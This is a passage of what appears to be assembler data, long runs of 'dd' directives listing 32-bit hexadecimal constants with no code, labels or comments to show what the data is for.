58132310h, 9EAD3856h dd 0B52FDB41h, 0AA7CE421h, 712E549Dh, 13052AFBh, 25FC24B8h dd 7A4578Fh, 6E34EF38h, 0D96A6EEDh, 2E4E0B25h, 5453D323h dd 7A486DCAh, 60274A18h, 8982DF13h, 0E0F9E72h, 315BE5C5h dd 0B84A53EBh, 5FC48993h, 2B934F45h, 0CDBD29C0h, 0C036483Eh dd 35270275h, 0EDD151E8h, 16CF7760h, 8957F309h, 0A9E284EBh dd 0E9835E09h, 0C9023481h, 461086C2h, 43AE205h, 0F7AC83B7h dd 7273BB00h, 0A4B84A7Bh, 1E269717h, 762408EBh, 0EF5B76ADh dd 3B98A1D6h, 80C370FCh, 638F6EBh, 8CB14E60h, 0E0AFF13Ah dd 0D65B35E9h, 85EA4274h, 8E7563A5h, 3BBD17D4h, 0E767C50Bh dd 91EB2A00h, 34ACAC2h, 0B752DEE0h, 0A3185996h, 0A44A6557h dd 0F0549FB2h, 0EC52254Fh, 0BF4544EBh, 0FD82374Ah, 54954C39h dd 2BABDB2h, 3AA75AB1h, 5957D2F7h, 40E9C17Ah, 0BAEC55A9h dd 0B43F0EC8h, 1EFF2D40h, 0A8D35470h, 0BE965AA9h, 0BE56FF30h dd 435003C0h, 613EE971h, 77534A3Eh, 0C81BAE27h, 0B5D0AFF4h dd 0D432461Ah, 6B34F0D7h, 0D3745F7Ah, 292F3F05h, 822AD2EEh dd 40B19661h, 0BC5193B6h, 0ABE96312h, 0EE7F0CA9h, 0F077A015h dd 797D722Ch, 5DB77D27h, 2912A9A8h, 0B9DA01F9h, 2C2C6139h dd 52BAA4BBh, 92A70C63h, 6B41A7C6h, 28A3E02Eh, 5ACB52A0h dd 58E581Eh, 24D536CCh, 0FDFEED4Fh, 0E8F7CEAEh, 0B3E2844Eh dd 91DDDFEh, 12AC3786h, 0D2EFCB79h, 0E47F5115h, 62C60F51h dd 5E6466FDh, 284AC9C8h, 4A263E8Eh, 0DAF7C1ECh, 0C545178Fh dd 13D9AB35h, 0D477E22Eh, 0EBB63EC8h, 0A9F0179h, 16E297Fh dd 0C828BBABh, 4B0C970Ch, 824C9F09h, 71CBA34h, 0E1BF6258h dd 0DA862AFh, 0A2F7810Fh, 7760366Eh, 903909E0h, 0D36D1EB5h dd 0E131130Ch, 0CCF92B3Dh, 532CEF92h, 0DD0D5F1Fh, 0BF3154FBh dd 0FC267E62h, 0E0F92753h, 8A0A465h, 11680557h, 0EF406C78h dd 6E4CE9F4h, 0CBC4B11Ah, 0D739B9D1h, 0EF8787B9h, 45E7135Fh dd 73210C5Ah, 0FC2EF580h, 35678601h, 0EF20633h, 0C29BD18h dd 593F0207h, 80194A7Fh, 6DC3138Ch, 8A2948Bh, 5F25A755h dd 94DB4402h, 0F225CC08h, 96290F1h, 72903FD5h, 0B34BF283h dd 0A7B3EE84h, 0F6CBFBD3h, 10D26173h, 0C9F777BEh, 0A0F560C0h dd 54275B9Bh, 57CEE643h, 2F5DEF3Ch, 0F130E88Bh, 0FADB13F5h dd 18CFACFEh, 0DE2BA516h, 0F905055Bh, 0C0244906h, 327C18D2h dd 0E9F02904h, 65A45A92h, 0CB28268Ch, 0F1FD3AE0h, 2C124369h dd 5B9B347h, 26EC5A1Dh, 436A02BEh, 674015D8h, 0D23D7FD0h dd 9EC97C2Ah, 0B25FF8AFh, 856E9D18h, 0A62491B0h, 61A53EBAh dd 0EAE8FA27h, 0C137AB79h, 1097994Dh, 0CE74925Dh, 0AABE1668h dd 3F0A7F07h, 98B08146h, 0B915C04Fh, 8C6C0931h, 6B624D7Ch dd 61D6DE05h, 1A20AE9h, 0A02F97B0h, 4FB57E3h, 0C7F0D49Dh dd 3574C09Bh, 2F7213DEh, 0F1152D07h, 70FA1F60h, 0C200E32Fh dd 9ABF58Fh, 78247DF6h, 19B3A08h, 653162B9h, 42377B38h dd 777CD052h, 0D074F6Ch, 5F951918h, 2C3F0F3h, 0AC2D7C3Fh dd 84F43144h, 81C1D8ADh, 0E5255E0Ch, 5FB2F63Ah, 9BE96B0h dd 74461981h, 3628942h, 6803C280h, 2960EC6h, 9A60AA60h dd 0D5F73F4Fh, 8C53C097h, 67963D83h, 0CA59DD39h, 0BB82CE1Dh dd 636F15E4h, 0BE8F3E3h, 0B9515814h, 0E2B7365Ah, 6577F9A8h dd 0FB4CD4ABh, 416747D9h, 0B192C515h, 0AF00EF4Bh, 0E47B1905h dd 34C90AFh, 6B334B58h, 2AC7C229h, 0DA4C3E08h, 338F8E12h dd 0E5C95E48h, 538C6B3Ch, 5909BFFCh, 35B74902h, 0BFE49477h dd 0E0080373h, 779B3FF0h, 0CA24253Ch, 8269F92Dh, 55DCC400h dd 4E78AA2Ch, 0ADF29B5Eh, 0F3212C84h, 0A22F24F7h, 0BBDC5A98h dd 57951211h, 2A60FC5Dh, 0D12CCA33h, 68C23821h, 0F21CEBCEh dd 53864AA2h, 0A5680579h, 0CEC6169h, 559C060Bh, 5F41C4C3h dd 6800631Ah, 98950F1Bh, 9CB7387Dh, 0DC0288E4h, 2367B802h dd 0ACF24083h, 1CF6B5CDh, 2C4076C9h, 10200419h, 1EBDBCD8h dd 161F38FCh, 5305EE17h, 0C2BE0FFDh, 886C6B1h, 2A700E5Fh dd 0B41C1E3Fh, 81A2ECEh, 5923040Ch, 5F169EE7h, 818FFF56h dd 0E124EE5Bh, 4AD5CBAFh, 0D1911E71h, 6D9FDA3Ch, 40B84Ah dd 6192CC8Ah, 852174B5h, 0AB537C68h, 0F3E17B64h, 61A33E8Fh dd 9504222Bh, 94D2B37Bh, 70F31846h, 3D5AD313h, 3438D809h dd 0F132B8DAh, 56009D6Dh, 1F005D68h, 815E7D1Bh, 3E5C2DE6h dd 363E4C67h, 9A74E9CFh, 0EAF0B03h, 28077F4Eh, 0F6605256h dd 0E797D2Dh, 3910E97Bh, 7B9CBA13h, 14C24029h, 6023FC9Dh dd 0F745FB68h, 63E9280Ch, 9C7E718h, 27617C9Dh, 12A38704h dd 29004C13h, 47106DE5h, 92CD0E81h, 1F6603Bh, 91AD01BEh dd 18976B08h, 0E752FC30h, 0B68E654h, 1A8511CDh, 0BF02CD02h dd 8D0324D5h, 53C768BCh, 0F63DB0BBh, 0F30F8119h, 12055802h dd 420BD309h, 91E0F73Ch, 0FF73EA80h, 12ABF23Fh, 8B22D856h dd 9FC8E4FBh, 92C31781h, 466FDD0Ch, 0DB4F7EFAh, 98173729h dd 4614F742h, 4B84B5C6h, 4B35CBD3h, 0E93B0BDEh, 0BFA5174Ah dd 0DC1925CAh, 30AD1086h, 711441BEh, 0AE7C39h, 628C1149h dd 0F3781D05h, 9ABE4A88h, 25D1C18Eh, 0CDAAC0C7h, 6C2130BAh dd 29783A18h, 3B509018h, 0F1A41609h, 0AC0820E7h, 0FA2D07AFh dd 5001B227h, 3BA67563h, 522A52B8h, 649008BAh, 62147695h dd 0A7F3079Fh, 19A2F8A0h, 5AA5667Ch, 0BD2F2F28h, 5489FCF1h dd 0D8905E58h, 0F85FB9E9h, 55CB9CFCh, 295A0EA2h, 7F3CAA7Bh dd 0A340A490h, 0BB787168h, 44BF0487h, 0E90EFB21h, 64F2858Ch dd 0FC7B20BEh, 6F60B514h, 0ACA1AB0Ch, 49E92D9Ch, 0EFD145E1h dd 3341F7B9h, 59FB44CEh, 81685508h, 85323262h, 4BF39055h dd 29442DD5h, 2008CF08h, 92FF5BE1h, 0B25EF7E0h, 16BCF7A0h dd 8E3F74E9h, 3010914h, 6F3F3CE9h, 8312728Bh, 842504E8h dd 56A2FBCEh, 7810A44Ch, 17663237h, 0B7487D56h, 3056395h dd 436FE906h, 19BF5D01h, 0A26A3488h, 3CBA5A97h, 1C8004A6h dd 7862828Fh, 5160F07Ch, 0F1B850h, 56A8A16h, 7E6109A1h dd 0EDE8D124h, 85721B00h, 5EDEE942h, 0A177EF94h, 0EF9CCC3h dd 0E6E78016h, 515ACF60h, 0C5F24CB5h, 0EF38AC7Ch, 0C7FC730Ch dd 301C59EAh, 0E8D65BFDh, 30FEF808h, 1217B8A9h, 5A68263Ch dd 2DD99C81h, 4E5F5202h, 4F1D9887h, 9297B9D0h, 52D1BC41h dd 0B3690B47h, 1528C610h, 0BA213E9h, 45DE315Eh, 8FD8A71Ch dd 6A7D6813h, 2B02CA62h dd 0E9143957h, 2FF456FAh, 4CA5615Ch, 56567C1Ah, 9C5E0A5Eh dd 0FE2FE92Ah, 0C318C80Bh, 702E1D45h, 53E38135h, 0F0463279h dd 5109DACBh, 874B127Ch, 2B134221h, 54EBE89Fh, 37D25C31h dd 90533A16h, 0A927D855h, 0F2011176h, 0C9196E16h, 91AED521h dd 692B08A8h, 6DE6801h, 0E32B018Ah, 3B828078h, 95310690h dd 5B01FBDAh, 0E9071A3Dh, 8F5536ECh, 0C12D26BCh, 0EBB03B93h dd 4112225Fh, 8E201EE9h, 3D3126B8h, 0F1A51138h, 0B6F784E2h dd 0DF59BFBAh, 0ADB15A64h, 0BB4A7B4Bh, 0B4E42B45h, 40C438AAh dd 0F70E9778h, 58F37CB9h, 1AEE290Ch, 0E4019DE3h, 802A667Fh dd 3072C4A7h, 0F00C0731h, 0C1B09C11h, 4E9DD0E8h, 5B0504E1h dd 0EB03F321h, 0C0D46804h, 7DD617D2h, 47C3BEA0h, 80B71ABBh dd 791C6926h, 0F4BD0465h, 0C1825263h, 314D5B4Bh, 5F5ED2B2h dd 28869D63h, 6B7DF11h, 1F3577C7h, 0DE0CC46Ch, 0C5DC13Dh dd 1A5F0F98h, 35D8E937h, 702C2BAh, 0D6097749h, 0F21575Ah dd 0EAA06472h, 89C2F580h, 509FC89Ah, 1E92D02h, 5B96BA42h dd 0AFA6C3F8h, 1FD97F0h, 0E06A5D5Fh, 904131E0h, 10B1F82Bh dd 0B85E8CD8h, 4AF4ED2h, 9CC65D5h, 0D990DF28h, 0CEBF9438h dd 50DD2E5h, 0E8C16699h, 8E6EC617h, 0FAFCBD10h, 0D70FD262h dd 1074AA5h, 6B60A1B4h, 5764F82Bh, 2044A3BFh, 557BE951h dd 0BE785BF1h, 0D4132458h, 0A10BF86Dh, 2280E2D6h, 0EE28A0B5h dd 0C6E05966h, 65B45005h, 70C1C480h, 0A62A79A8h, 0A09F1CFCh dd 0E149F62Dh, 8921EE68h, 4AB60F5Bh, 90797586h, 1300D125h dd 28CAAE8Ch, 3E3C7204h, 0A7CB8030h, 2F76F0DBh, 43F6CA07h dd 0E2C01DC0h, 6046415Dh, 0FB942428h, 189EBAB3h, 2300CF92h dd 4D9045C9h, 57962F68h, 5F1A2718h, 0A65C8382h, 4E5D9969h dd 9EA10E82h, 0BF58A67h, 97197798h, 0F90D0401h, 77E23D03h dd 2D5F9248h, 1D7A6100h, 30990564h, 247590E7h, 7AD7DF90h dd 0DD2DA27Ah, 0BCDAA2BFh, 4B895E98h, 412BB17Fh, 0D768B651h dd 88B459DAh, 0F625AF51h, 143A0245h, 7F0969A9h, 35937566h dd 1DC4008h, 92427FBFh, 39984356h, 4F7A7EB8h, 0DF25C0BFh dd 0CEA8309Eh, 27F8461Ch, 35BBEF4Eh, 0A8DEAB1Eh, 21106816h dd 40FCD55h, 0F17C00ABh, 0E45DE872h, 1923143h, 8EACD049h dd 26CB40F9h, 73908460h, 53517C30h, 0E3FF8B1Bh, 0C92CAF2Ah dd 891FCA0Ch, 42811EEEh, 5FA10DA6h, 0E34289C2h, 8BFF080Bh dd 6BCBFCF0h, 0FD8889D7h, 0D89F1FE4h, 30D1AC75h, 0EAADC513h dd 19267758h, 8F10190Ch, 0FBFAB212h, 0DAEA01C5h, 28B20146h dd 61336866h, 0B1079672h, 0C9CA30AAh, 3A284249h, 52A83612h dd 0F2E2EFA5h, 0FE8A9316h, 4AE7B132h, 8DA2FD72h, 1AD7C6B5h dd 0E945D08h, 0B9A6818h, 9FDB40EFh, 96349766h, 0C9C15EFCh dd 0FE019419h, 94C76AC9h, 7E9948A2h, 55AF6097h, 25FE0BA6h dd 89BCEAB7h, 930BF46Bh, 684B42C6h, 65D51F24h, 0F8E90915h dd 47C8D2Bh, 89401811h, 2FE9EEB5h, 8E91EFA9h, 0CFE26001h dd 0BE37D90Eh, 6CDCDF1Ch, 0BAFAD49h, 23907F21h, 0FD9692D0h dd 0D288D625h, 5665EEFEh, 0A64698AFh, 0E26A8B41h, 89D61012h dd 3004592Eh, 8102902Ch, 34AED01h, 0C50123AEh, 80CB544h dd 2511E58h, 894116F0h, 36605DE9h, 9B1C644Ah, 79704573h dd 282B2C9Dh, 989F890Fh, 21B70967h, 0D1006F18h, 59514FEh dd 7E7C11Ch, 3F04EFD6h, 0EB12AD37h, 3085E293h, 8C545BA3h dd 144C693Bh, 86803A3h, 0B5D17D40h, 5623B4BFh, 0AB275777h dd 0BCC8E8A8h, 2558243h, 0F7E6BADCh, 8484D159h, 1CC06C2Ah dd 484FBFE3h, 30101516h, 8ABA0358h, 0D149FB62h, 0A33B097Fh dd 3609328h, 95B86857h, 0ED550289h, 1EEC2564h, 0F7B00F25h dd 57683DBAh, 0C3CC11A3h, 975A4854h, 0E961C8F9h, 234FA2Fh dd 0E1E3A8EDh, 6BB42833h, 588F12BFh, 0EEF504E0h, 6E84129Dh dd 4AC48FAEh, 0AFD3B8B2h, 0AF6170CBh, 2AAA7DE9h, 0BC1F414Fh dd 53CB7C1Eh, 12D446D8h, 97793D68h, 7211720Ch, 0D8B4E902h dd 0AFF6B181h, 86F60B09h, 34C09A16h, 2F40ADBEh, 29704987h dd 5F46B4C0h, 5301FE97h, 59244BF0h, 622DC082h, 7E02D36Ch dd 3836C905h, 95016144h, 0C37A317Bh, 82680329h, 9F59C64Dh dd 0DC4B34DAh, 0DCD3D1A8h, 730E916h, 256EC90Dh, 5BAFB806h dd 9609FEEDh, 5E2BABFBh, 156858D8h, 34251712h, 5A69420Eh dd 5CCA5D2Ah, 2E7472DDh, 2FAA5655h, 5DCD20Bh, 91177172h dd 16502B02h, 0BB35E905h, 0C210C1A9h, 4DE05B70h, 645D126Dh dd 0AF55127Fh, 0CF29864Eh, 88BEACE9h, 4FA4B153h, 0C0E0D5CBh dd 0CDE4C5FEh, 99F6F679h, 0EBF7A7BDh, 44793172h, 44CD0282h dd 0F7011129h, 975FD761h, 0E707EB4Bh, 9BB5C386h, 0A27E58E1h dd 0F6FC4BFCh, 258E2DC0h, 2977495h, 9F513F2h, 0F6DAC475h dd 31914A6Fh, 6F0F48DEh, 1711198Ah, 0B83C2588h, 0B54F1C73h dd 809D61E4h, 364B3042h, 1EF895A5h, 100CFF58h, 49DF6788h dd 62A98DACh, 97199CF5h, 0E892AF4h, 7C3A7587h, 8B0E5957h dd 1E9486FDh, 0EE301042h, 700C051Fh, 1B76022Eh, 0EC26F01Eh dd 0E97D4F01h, 612BBE45h, 0F0E80194h, 6CB7BB56h, 68FCB5BBh dd 74619142h, 0D979634Bh, 98CF3D3Bh, 0D80F7FE8h, 0C940E05h dd 0E5B72022h, 1185E862h, 681255FAh, 7A705175h, 4CAB27CAh dd 0EE00464Ah, 0A34D297h, 0F05E8950h, 0D41D3881h, 0CF125E7Dh dd 0F27B676Ah, 225CBE5Bh, 43B71243h, 0AF10FE8Dh, 8952097Ah dd 2B9D0BDAh, 75CC75B2h, 0FDEC9602h, 0C874E9ACh, 4B9D6828h dd 5818A356h, 0B494C5ACh, 5925E8A7h, 25FE9CF5h, 0A91C8DFFh dd 4BF8F39Fh, 0E15153FEh, 0F6AF03EFh, 329A188Fh, 6F384AD9h dd 1EF05444h, 0AC3B6804h, 0AFBAC13Ch, 7A701004h, 46E565C5h dd 506BE85Ah, 145A55FCh, 534CCBE9h, 2A90E15Fh, 83CAA54Fh dd 0BB50B753h, 0CD682AEFh, 6D6CB585h, 37685E09h, 205A662Ch dd 0F607C41Fh, 43E380DBh, 5FACB33h, 0CFB04458h, 9D56A930h dd 0B6521E04h, 0A6ACAC81h, 815C3E82h, 0C55D02C5h, 83DD2DD8h dd 70856F16h, 2CF077D6h, 693CBE5Ch, 36755D89h, 0BEE915B0h dd 5849733h, 25F8FCFEh, 326B78D3h, 0EEF39D11h, 295D4CCh dd 0FC215A3Dh, 0DF56252Eh, 0EB08D124h, 40C01D47h, 66D3F606h dd 5D3FB551h, 811F2880h, 0EE28BF3Fh, 1A7BB010h, 38D765E9h dd 0F66E8BFFh, 0A44E0FD9h, 0E9DE0161h, 0A2C47E0Bh, 2B1E3BFh dd 0B2521CF3h, 0D8C1F52Bh, 0E9686FD2h, 0E2CA4EFEh, 59826710h dd 75973D82h, 0B85CB23Ah, 0BC3F48EAh, 2D439F62h, 1A452340h dd 0E2B6A25h, 70558D6h, 0C0DFC3EFh, 149D41CAh, 5D0BB951h dd 50DE85F1h, 32F49D11h, 6843AE6Ah, 0F36DC322h, 0CFF803E7h dd 40B93AFBh, 1F5AF7B0h, 0D7AACBF9h, 5C06A055h, 0EC338A21h dd 0F860BEAh, 41726065h, 7A5F0881h, 982092C1h, 48C3FD3Fh dd 80521218h, 14581DACh, 3AD0E908h, 5352681Eh, 3D650760h dd 971348F7h, 670D8006h, 7B0A745Ch, 0F7793E31h, 21C6F609h dd 805BDE40h, 0EECC27DDh, 97F9EDC9h, 0E98C037Eh, 670587A5h dd 7CD96B4Eh, 6AB72DBAh, 2F4F60A0h, 8103DEE9h, 2CB94D45h dd 0BA383F85h, 0A2829731h, 0D0059AAAh, 0BDA0F5B0h, 0F24E5074h dd 0B0A665BBh, 2FF9E98Fh, 0C6290805h, 0D1AE2E74h, 26CF5A3Fh dd 0FC005F11h, 296E61EFh, 0D8F73995h, 1300CFD8h, 0E9D6919Eh dd 39B518BDh, 0CD7FB941h dd 66D39239h, 0B6A07BBCh, 1528B041h, 82C9E28h, 0F60B79C6h dd 2261DFDEh, 0CEB1FBE6h, 79AE247Ah, 155CF5FAh, 0ED287F3Eh dd 0E11BC5C8h, 0AD34EE28h, 0B1512CC0h, 72E9FAAEh, 16034D05h dd 3A0A6809h, 586254F6h, 49E55119h, 28DA2C91h, 82D06DBh dd 5A14691Eh, 5DD18175h, 0BFDD2066h, 0C3E81D5Bh, 0B943491Eh dd 0B7E118E1h, 0C90A8968h, 402F826Dh, 495C0BB1h, 4A830742h dd 13F97758h, 51744F42h, 0D40E8B5Bh, 0D2128AE5h, 4D5D5901h dd 842A3109h, 91CCBA33h, 2DAAB04Eh, 0D7C6D2B8h, 8046D504h dd 0B9AA584Bh, 499E768Fh, 0BF1A7D2Fh, 0B55C8422h, 0C5E9FA5Ch dd 5759271Ah, 0F088362h, 1DA4F582h, 0C044663h, 13D26CF1h dd 0B1913EFh, 66DDCB71h, 200FF886h, 7722C56h, 22CAA630h dd 163AA4BBh, 97293945h, 0BF8AF325h, 7E05C728h, 76825562h dd 2464D25Bh, 61AE824Eh, 2A0B4468h, 97694D9h, 5AD12B2Ah dd 8D32EF8Fh, 0C55AFD66h, 7755ADF9h, 0F6B2969Ch, 0C9EE5E4Ah dd 528D3AADh, 51C90DB2h, 0EA8FFBD5h, 907FA513h, 70A56804h dd 0C8D4BD45h, 7ACA7DCBh, 712562D6h, 0F86609CEh, 1391C928h dd 0EABDB463h, 3D6934FCh, 0D08FF70Fh, 7B2F422Dh, 43141558h dd 5FBA809Dh, 3BA57106h, 250B63BDh, 725ED529h, 86C42CB7h dd 7410D1BDh, 0A9B502A6h, 5759E828h, 0F82793D1h, 640417A0h dd 503DF81Eh, 0EDEC56FAh, 15EA0D7Bh, 0C2279298h, 0F9327DE8h dd 0D7FE9986h, 8DA8AD72h, 2A862391h, 4E891DE9h, 30B27558h dd 5299687Bh, 5BC0C91h, 475F3525h, 8B23B5EAh, 52573FCCh dd 31D0BFFDh, 88373301h, 9693B961h, 0E04083E9h, 604504EDh dd 5C660C4Bh, 0E9132325h, 95B924E2h, 69CAACDFh, 27B6C657h dd 667E5DE9h, 53C40E13h, 0EE4BCDA7h, 55507A72h, 5927F1CDh dd 20491FB1h, 9CFBCBA3h, 0FAF78D82h, 56E92FC9h, 0D0F2C89h dd 3D76677Fh, 286D5958h, 8DA06F3h, 5D380799h, 14ACBE02h dd 0E97C40EAh, 0F279F94Ch, 0CF55FB05h, 0EE1FAF51h, 173E848Eh dd 2EBFCDEFh, 59327780h, 68D7092Ch, 379A6738h, 0B6B05E81h dd 41A6488h, 0A7E98A3Bh, 2789F22Dh, 81F154F7h, 0D7E68E1h dd 0A70B8204h, 0B572116Ah, 0CA615727h, 264E438Fh, 16435579h dd 0D16EA4A4h, 0F4B505B2h, 0E7F95394h, 0CDE2A7Ah, 479EFA4Ah dd 47272016h, 9356D5Bh, 61687157h, 0E60C685Eh, 0B86743FEh dd 0FD51251h, 7FC0FDE6h, 790493CAh, 0DAF76631h, 0F468DECBh dd 67539697h, 0CF97C2D0h, 0E708BDD1h, 9A72C36h, 0E6D5C826h dd 0C2DAB441h, 31AF2DCAh, 8BD5EA09h, 39203F1h, 0BE3C05B1h dd 0C0236471h, 0D59C6F1h, 0F775FA09h, 0B2680AD6h, 2C0E5312h dd 0F47823EAh, 95E1D068h, 4522E3FFh, 3B61BBDAh, 33B23B44h dd 0AA14ACD1h, 0AA92C07Eh, 905E5C4Bh, 0A4ABCB94h, 0E3682A1Eh dd 60CEFC8Dh, 922D0AB8h, 3F2E6B2Fh, 1F3C8948h, 1280838Ch dd 9AE9C229h, 494E96C0h, 0F8816D4h, 0E376257Fh, 46E0E030h dd 0EC4E7E15h, 0BC3A9DF4h, 0E9D00B5Eh, 0C53760C8h, 0D6A536F2h dd 0D109A71Fh, 0CA843557h, 188C8BFEh, 0BDDD1466h, 981278A0h dd 2E037C4Fh, 2C57E5D1h, 0A2618ADh, 32D271C5h, 0C448B2F8h dd 0B6385531h, 12882A7Ch, 760507ADh, 502A6974h, 6D332B02h dd 8A0151h, 0DD2EE907h, 0B249FCB6h, 0FD40C295h, 5B795D66h dd 58DFC354h, 41956812h, 0A0D60FF2h, 90E150CBh, 3F253C4Ah dd 0C70B3F7Ah, 747DF1h, 70B3EF23h, 6097C0Fh, 9E7343F7h dd 79090C30h, 579D2211h, 272B81ABh, 0DE6B4DD1h, 8209926Ah dd 4A6166A2h, 3BE0EEF6h, 0FCE904D8h, 35B9C164h, 6455273Bh dd 0E56FE500h, 0F69CAD3Fh, 1227A44Eh, 0D20CBD0Ah, 7D07D1BFh dd 5ACC3A09h, 985D00E2h, 0BE38144h, 110A060Fh, 91626068h dd 1B1234C0h, 0C3092D28h, 2B886040h, 0D077E327h, 0A7392037h dd 0D1CD8100h, 686BE105h, 4F7CB7DCh, 0F8054E4Ah, 6680850Eh dd 4F5572D2h, 12C2AC30h, 0E4A8EDC4h, 68765BA2h, 0FE0FF727h dd 697C3126h, 860EC563h, 0E085D944h, 4EFD1F5Ch, 5AED4B94h dd 945892DCh, 9FBB505h, 98CCEC09h, 5E685ABFh, 0AD1FE508h dd 8924C734h, 92F5B335h, 0F3900033h, 0EC53A917h, 6D22955Dh dd 0B966A6C9h, 18E9504Ch, 0CFD321B1h, 306558DAh, 37EB0C61h dd 99CC474Bh, 0C133B385h, 6CAF90ABh, 6480A60Bh, 0FEC2475Eh dd 68593A41h, 752349F0h, 0CB291392h, 0ABD41838h, 0BA9F349h dd 293CF050h, 4BBD96D5h, 93108109h, 784B3326h, 72A3366Bh dd 9E888002h, 3D7A247Ch, 7E6F0EBEh, 0DF9AEE16h, 468CFF4Ah dd 427214B9h, 164CAB60h, 4BA3F510h, 2F048AE8h, 0B1A5482Bh dd 58A17B33h, 0EFC58AB0h, 1A256B3Fh, 2E7D036h, 2992A721h dd 60555FFDh, 9A4CFF23h, 15E2BF0Bh, 888D4056h, 42EC4594h dd 0BF487B2Dh, 0EE51D1D8h, 832A08h, 4C240003h, 0E91125DBh dd 4691A66Ch, 0F7F02942h, 6FFDBF1Ah, 92E8EECh, 2D77EA16h dd 55559BC2h, 0C5206CCEh, 883AA3A2h, 2E0B2744h, 2C49B8h dd 4A9E051Ch, 0E2BD5AC7h, 590707B9h, 0A00BBCF2h, 0D1BF5733h dd 72F63F49h, 0C6EF6279h, 595DE068h, 26462FE5h, 64E66AEDh dd 85422724h, 5F327D68h, 0EA414A1Ah, 0AFF3818Ah, 602E997Fh dd 3B17B894h, 600150DAh, 55A91F43h, 0F3D9B42Eh, 0E0B06609h dd 5BFC834Dh, 89B4EE89h, 0FBE15381h, 0D2E8DDE9h, 7089B669h dd 689E9DB7h, 0F63CE700h, 4AB8E9DFh, 69C3326Eh, 9F96025Ch dd 0F38393C5h, 0F240ECE4h, 46EF15FCh, 0E8E2C131h, 0B33BCD43h dd 7C40731Ah, 33459D5Ah, 2ACD6881h, 643E088Ch, 0A702BA23h dd 503B4823h, 0B20500ADh, 0E947A012h, 81D372C7h, 0B15D3501h dd 0D7EE012Fh, 7E097D16h, 0B203670h, 550F897Dh, 0E54236F3h dd 1A5AFFDCh, 21BE5602h, 557CD357h, 0EFE638C1h, 9E00D44Ch dd 273A5925h, 47CEA0A0h, 0AB90658Eh, 0D85B4301h, 1D4DE993h dd 98303499h, 0D06B032h, 0A9377568h, 68D865Ah, 6E0BD1F6h dd 3CF16EECh, 0A3E83ACCh, 0DB62AAD2h, 0BA5709F1h, 1641865Dh dd 695A4DF1h, 5DB25200h, 0E2C0C2FEh, 0D602E4C6h, 8186A05Ch dd 34CAB59Eh, 6ECA4780h, 0CC07291h, 40EB36F5h, 0AB345F8Bh dd 0E9123F2Eh, 0D010B180h, 599D76EAh, 0FC8CCDEBh, 0C09F5103h dd 4188CFD5h, 0F8B1E4D9h, 9ECA2833h, 74BBCD16h, 0C0CB1394h dd 5F93B8F1h, 5521C0Ah, 900884Ch, 0DB354840h, 7F9F5CBDh dd 0FCB5FE12h, 0F040CA97h, 853F8CA6h, 1EA52BF1h, 0DC10F2A8h dd 0B0FC4EC5h, 9A285305h, 0F05F824Bh, 336BB055h, 9DE69B58h dd 17390E9h, 37A1CB81h, 83603C05h, 0E258955Bh, 595877Ch dd 2EE8D4E8h, 0C038414Fh, 2465DD56h, 0E9124AB4h, 32BAAB95h dd 0A0FDA7ECh, 6CE3C7BFh, 1E205BBFh, 0C9807979h, 899CA670h dd 6F26E9F8h, 0BB841571h, 62B46C1Dh, 690D0539h, 0F899E95Ah dd 0EBA35A32h, 18796384h, 0BD73C12Ah, 3E9408E6h, 31113E89h dd 9E7CFB57h, 0B2915917h, 5D312660h, 50A9C60Dh, 84BCFD3Bh dd 890B602h, 5A2C59C8h, 0B690EC77h, 86E91A07h, 0C7D3467Eh dd 0E00DE24h, 0E945896Bh, 2FD941A6h, 5236F6F8h, 0F225CA8Bh dd 0A027223Eh, 84DC2B78h, 0F85AED02h, 139A5168h, 16E39462h dd 42B8F58Ah, 5B01E6CBh, 28992A2Ch, 7E5D1090h, 0A9052CD3h dd 0A06B56D5h, 1E2E0A5Fh, 0D827F368h, 0ABF39D11h, 524777CBh dd 32A8A397h, 9AAA4Bh, 6301184Ah, 859D6AE9h, 0E4FB4B13h dd 0E707814Eh, 17A60FB8h dd 71A4DFB2h, 287C8959h, 0E9D8B476h, 12A19A09h, 94E5B5Eh dd 1DCEEA9Fh, 5A418CB0h, 0FA5C856Eh, 314AE1B6h, 2B6D47BBh dd 9DA2AE67h, 0C1F49BC4h, 0EFAF8AEDh, 54346D7Eh, 608954C7h dd 1EBDB91Eh, 892B8B0Bh, 0C4A9C95Bh, 0B6522B82h, 8239FD82h dd 9D528106h, 2AE54DD2h, 0A1BC42C4h, 5B12093Eh, 126FF55h dd 8E80201Eh, 5839BE1Dh, 0F3E60AFh, 95E77A04h, 0CF20640Fh dd 590D7747h, 0BB60E499h, 0C07D7F4Dh, 7EBDC73Ah, 5E970496h dd 2A082047h, 80D75EE9h, 5C6021B9h, 0A10A99Ch, 0F65A008Fh dd 68C5FED5h, 0BD414943h, 0AEBF6484h, 0B4563C64h, 0EC9683F8h dd 9829B15Bh, 97248A01h, 0B3130233h, 75042385h, 5C049649h dd 7AA1B430h, 162A5B41h, 0F616BE7Ch, 12BBBF01h, 443E5975h dd 0DDAF5641h, 5186101Bh, 2F0BBF3Fh, 14278FE9h, 644EF621h dd 0EDD274AAh, 771D1068h, 695E5A37h, 535E0F90h, 88E95412h dd 0E0059FC0h, 0A08A2818h, 37C403ACh, 6BE916BDh, 2058E90Fh dd 361F04EEh, 0C62D8CAEh, 1D1C380Bh, 0D4FF433h, 7EE380AFh dd 3A32A5E5h, 17619127h, 0BE06A21h, 82C391CDh, 105714B5h dd 6682E660h, 3C6E693Bh, 0DD2F7EC2h, 0E9D2FCC7h, 0C34C703h dd 0C63140C8h, 64AE585Fh, 2DACAA77h, 345F82E4h, 923A5B5Eh dd 8241768Eh, 3FCC5B5Dh, 0BF7F20FCh, 7E981CC9h, 0BDB2DD87h dd 4BC27479h, 0BAF0908h, 0EFFD9F73h, 7072310Bh, 21EC89C8h dd 777A84D7h, 307E5FBDh, 0CA71ACD3h, 0FD053B35h, 2340685Fh dd 0A316EA5Dh, 0E0412F8Eh, 0C382E6CDh, 0A94788Ch, 7E1A60C1h dd 120DF5C8h, 4554A1Ch, 0ECFF09E5h, 5368E006h, 72336403h dd 0C5DEC8D7h, 234BE309h, 0EC8DD14h, 0FF2DDF39h, 48F9C377h dd 0AD4FD0FBh, 58C113A8h, 4C6D7606h, 74E8B587h, 0DB31131Eh dd 57E30C20h, 0A261F03Fh, 4403141h, 5F9F9B14h, 0E465F883h dd 5606C907h, 0FC01A9FFh, 0B5082095h, 0FB0BF9D1h, 0CFC8A6CDh dd 0D274956Ah, 0B0CAFD92h, 7417680Bh, 5BE03CD6h, 9596E953h dd 26D26C8Ah, 0A8722F94h, 58FFC9Dh, 0A57810E9h, 4DF37E93h dd 209BCD96h, 64B4689h, 